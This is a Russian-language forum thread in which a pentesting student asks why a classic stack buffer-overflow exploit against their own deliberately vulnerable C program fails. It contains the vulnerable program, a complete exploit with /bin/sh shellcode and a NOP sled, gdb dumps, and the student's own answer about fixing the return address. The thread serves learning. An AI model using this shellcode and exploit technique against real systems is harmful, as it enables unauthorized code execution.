0 / 0 / 0
Регистрация: 11.11.2017
Сообщений: 50
1

Атака переполнением буфера

15.10.2021, 15:40. Показов 1019. Ответов 3

Author24 — интернет-сервис помощи студентам
Учусь пентестенгу, и сейчас делаю атаку переполнением буфера стека, чтобы перезаписать указатель возврата на шеллкод. Алгоритм прост. Есть написанная мной же уязвимая к переполнению программа(скомпилированная без канареек, т.е. -fno-stack-protector), есть программа, которая создает строку для переполнения(NOP __ SHELLCODE __ RETURN) Собственно, все простое и старое как мир, но все равно не получается. Переполнение то происходит, но шеллкод не выполняется, хотя адрес возврата прямо указывает на NOP.(0x90)
Уявимая программа
C
1
2
3
4
5
6
7
8
9
10
11
void somefunc(char **argv){
    char buffer[30];
    strcpy(buffer, argv[1]);
}
int main(int argc, char **argv){
    if(argc==2)
        somefunc(argv); 
    else
        printf("There is no args"); 
    printf("__RET FROM MAIN OF COMMAND__");
}
Exploit:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//shellcode = /bin/sh
char shellcode[]={
"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"};
int main(int argc, char **argv) 
{
    unsigned int mem_i , ret, *ptr, offset=0; 
    if(argc < 2){
        printf("Usage: <exploit> offset\n"); 
        return 0;
    }
    offset = atoi(argv[1]); 
    const char *cc = "./command"; 
    char* buffer = (char*)malloc(200); 
    bzero(buffer, 200); 
    ret = (unsigned int)&mem_i + offset; //это нужно для адреса возврата
    for(mem_i = 0; mem_i < 160; mem_i+=4) //заполняем адресом возврата
        *((unsigned int *)(buffer+mem_i)) = ret;
    memset(buffer, 0x90, 100);//прокладываем дорожку NOP
    memcpy(buffer+100, shellcode, sizeof(shellcode)-1);//записываем сам shelcode
    execl(cc, cc, buffer, NULL);//вызываем уязвимую команду
//  -------------------------------------------------------------------------------------------------
//  |               NOP                     |       shellcode       |       АДРЕС ВОЗВРАТА     |
//  --------------------------------------------------------------------------------------------------  
}
(как написано, shellcode просто вызывает /bin/sh)
Кароч, с кодами разобрались. резонно спросить, что выдает отладчик gdb:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
----> gdb exploit
...
(gdb) x/64xw buffer
0x5555555592a0: 0x90909090  0x90909090  0x90909090  0x90909090  (это все короче NOP)
...
0x5555555592f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x555555559300: 0x90909090  0xfe58426a  0x529948c4  0x622fbf48   (здесь начинается shellcode)
0x555555559310: 0x2f2f6e69  0x54576873  0xd089495e  0x0fd28949
0x555555559320: 0xffffde05  0xffffde44  0xffffde44  0xffffde44  (ну а это адрес возврата)
0x555555559330: 0xffffde44  0xffffde44  0xffffde44  0xffffde44
(gdb) next
(ДАЛЬШЕ gdb переходит к выполнению command, т.к. код вызывает ее(execl(cc, cc, buffer, NULL)).
(gdb) disass main
...
0x00005555555551ef <+32>:   call   0x555555555169 <somefunc>
0x00005555555551f4 <+37>:   jmp    0x555555555207 <main+56>(этот адрес somefunc() 
возьмет в качетстве возвратного)
...
(gdb) break somefunc
(gdb) cont
Breakpoint 3, somefunc (argv=0x7fffffffdee8) at command.c:8
8       strcpy(buffer, argv[1]);
(gdb) x/32xw $rsp
...
0x7fffffffddc0: 0x00000000  0x00000000  0x55555220  0x00005555
0x7fffffffddd0: 0xffffddf0  0x00007fff  0x555551f4  0x00005555(это возвратный адрес, 
который нам надо перезаписать,   0x00005555555551f4 )
0x7fffffffdde0: 0xffffdee8  0x00007fff  0x00000000  0x00000002
0x7fffffffddf0: 0x00000000  0x00000000  0xf7dda565  0x00007fff
0x7fffffffde00: 0xffffdee8  0x00007fff  0xf7fc7000  0x00000002
0x7fffffffde10: 0x555551cf  0x00005555  0xffffe239  0x00007ff
(gdb) next
(gdb) x/32xw $rsp
0x7fffffffddc0: 0x90909090  0x90909090  0x90909090  0x90909090(перезаписали на NOP)
0x7fffffffddd0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffdde0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffddf0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde00: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffde10: 0x90909090  0xfe58426a  0x529948c4  0x622fbf48
Все должно работать, т.к. мы перезаписали возвратный адресс, 0x00005555555551f4, на NOP. По идее, при обращении к NOP, указатель спустится к shellcode и выполнит его, но ничего не происходит(shellcode рабочий).
В чем проблема?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
15.10.2021, 15:40
Ответы с готовыми решениями:

Ошибка, связанная с переполнением буфера
В общем, данный код рабочий, собираю на VS2013, при компиляции выдает переполнение буфера. Другие...

Пытаюсь разбираться с переполнением буфера в куче
Нашел такой код: #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; int main(int argc,...

Переполнением буфера при управлении arduino mega по UDP
Здравствуйте , хочу создать проект по управление ардуиной с компа по UDP протоколу . На ...

Какие части шелл кода однозначно говорят что атака по переполнению буфера началась?
Пишу снорт сигнатруру для выявления эксплоита, но по заданию не нужно весь шелл код сверять чтобы...

3
0 / 0 / 0
Регистрация: 11.11.2017
Сообщений: 50
18.10.2021, 18:31  [ТС] 2
Классный актив) Я отвечу сам себе. Мне на stackoverflow ответили буквально за 10 мин). Адрес возврата должен иметь не NOP(0x909090)значение, а значение адреса на NOP дорожку, расположенную к примеру в переменной окружения вместе с shellcode.
0
612 / 373 / 69
Регистрация: 21.09.2008
Сообщений: 1,277
18.10.2021, 19:47 3
Эриксон Дж.
Хакинг: искусство эксплойта. 2-е издание. – Пер. с англ. – СПб.: Символ-Плюс, 2010. – 512 с., ил.
ISBN 978-5-93286-158-5
Читали?
0
0 / 0 / 0
Регистрация: 11.11.2017
Сообщений: 50
19.10.2021, 11:46  [ТС] 4
Как раз таки ее прохожу ; )
0
19.10.2021, 11:46
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
19.10.2021, 11:46
Помогаю со студенческими работами здесь

Создать папку с именем из буфера и копировать файлы используя инфу буфера как маску
Может пригодится ... :coffee: 1) Создаст папку (по вашему пути) имя папки будет взято из буфера...

Задача с переполнением
В чём проблема, программа сначала нормально работает, но после ввода последней переменной перестает...

Проблемы с переполнением
Программа реализует ряд Фибоначчи с остановкой после переполнения unsigned long. Но она, почему-то,...

Суммирование с переполнением
Здравствуйте, подскажите в чем проблема: необходимо сложить три целых числа и рассмотреть вариант с...

Проблема с переполнением
Начну с самого начала. Разбираюсь с дисплеем от nokyo1110i . Подключил к ATtiny2313, по UART шлю...

ARM: Сложение с переполнением
Требуется сложить на ассемблере для микроконтроллера ARM два регистра: R2=0x5279B077...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru